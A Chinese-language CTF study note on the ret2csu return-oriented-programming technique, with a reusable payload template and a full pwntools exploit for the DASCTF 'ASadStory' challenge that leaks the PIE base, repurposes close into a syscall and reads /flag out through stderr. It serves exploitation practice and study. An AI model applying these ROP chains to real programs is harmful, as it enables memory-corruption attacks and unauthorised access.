csu_init

[TOC]

代码部分

csu_front_addr csu_end_addr 注意不要add rsp,8 function应当是所要调用的函数在栈或bss段上的地址,这样call [r12+rbx*8]才能正确,因为要根据地址来访问值

def csu(rdi,rsi,rdx,function):
    csu_front_addr=0x400710
    csu_end_addr=0x40072A
    payload = b''
    payload += p64(csu_end_addr) + p64(0) + p64(1) + p64(function) + p64(rdi) + p64(rsi) + p64(rdx)
    payload += p64(csu_front_addr)
    return payload

原理讲解

这个地方不会用到 这里是我们会用到的地方 这个地方有时候会不同,用模板的时候留意一下如果不同注意修改 注意这个细节 __frame_dummy_init_array_entry - 600E10h这个值一般都为0

解题方法

csu_init有两种解法:

  • 第一种 在call这个地方就直接拿到shell了,那就不需要考虑rsp的剩下变化了,也较为简单 call ds:(__frame_dummy_init_array_entry - 600DC8h)[r12+rbx*8]

  • 第二种 还需要继续执行csu_front_addr后面的部分,那么要注意这个地方rsp的变化,特别是进行伪栈帧的时候,因为我们控制流程很依赖ret指令,所以搞清楚rsp现在为多少十分重要 add rsp, 8 pop rbx pop rbp pop r12 pop r13 pop r14 pop r15 retn

例题 DASCTF X 0psu3十一月挑战赛 ASadStory

  • 题目给了pie但是close(1),也就要没有libc来orw。选择改close末位字节为syscall,利用read函数控制rax寄存器的值,配合ret2csu完成利用
  • 许多libc函数偏移一下就有syscall
  • read函数的返回值是读入的字节数,存到rax,可以设置系统调用号的rax
  • 关闭了标准输出可以用标准错误来写出flag
  • 注意这题csu的不同
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
context(os='linux', arch='amd64', log_level='debug')
r=process("/home/zp9080/PWN/pwn")
elf=ELF("/home/zp9080/PWN/pwn")
libc=ELF('/home/zp9080/PWN/libc-2.31.so')
p = process("/home/zp9080/PWN/pwn")


def elf_base():
    p.sendlineafter(b': ', b'1')
    p.sendlineafter(b': ', b'1')
    p.recvuntil(b'0x')
    value = int(p.recv(12), 16) - 0x1249
    return value

elf.address = elf_base()
print("elf-->" + hex(elf.address))

csu1 = elf.address + 0x1620
csu2 = elf.address + 0x163a

offset = b'a' * 0x38

# Craft the ROP chain
rop_chain = [
    csu2, 0, 1, 0, elf.got['close'], 1, elf.got['read'],
    csu1, 0, 0, 0, 0, 0, 0, 0,
    csu2, 0, 1, 0, elf.address + 0x4280, 257, elf.got['read'],
    csu1, 0, 0, 0, 0, 0, 0, 0,
    csu2, 0, 1, 0, elf.address + 0x4280, 0, elf.got['close'],
    csu1, 0, 0, 0, 0, 0, 0, 0,
    csu2, 0, 1, 1, elf.address + 0x4280, 0x30, elf.got['read'],
    csu1, 0, 0, 0, 0, 0, 0, 0,
    csu2, 0, 1, 0, elf.address + 0x4280 + 0x30, 1, elf.got['read'],
    csu1, 0, 0, 0, 0, 0, 0, 0,
    csu2, 0, 1, 2, elf.address + 0x4280, 0x30, elf.got['close'],
    csu1
]

payload = flat(rop_chain)
p.sendline(b'2')
p.sendline(offset + payload)
p.send(b'\x15')
p.send(b'/flag' + b'\x00' * (257 - 5))
p.send(b'\x00' * 1)
p.interactive()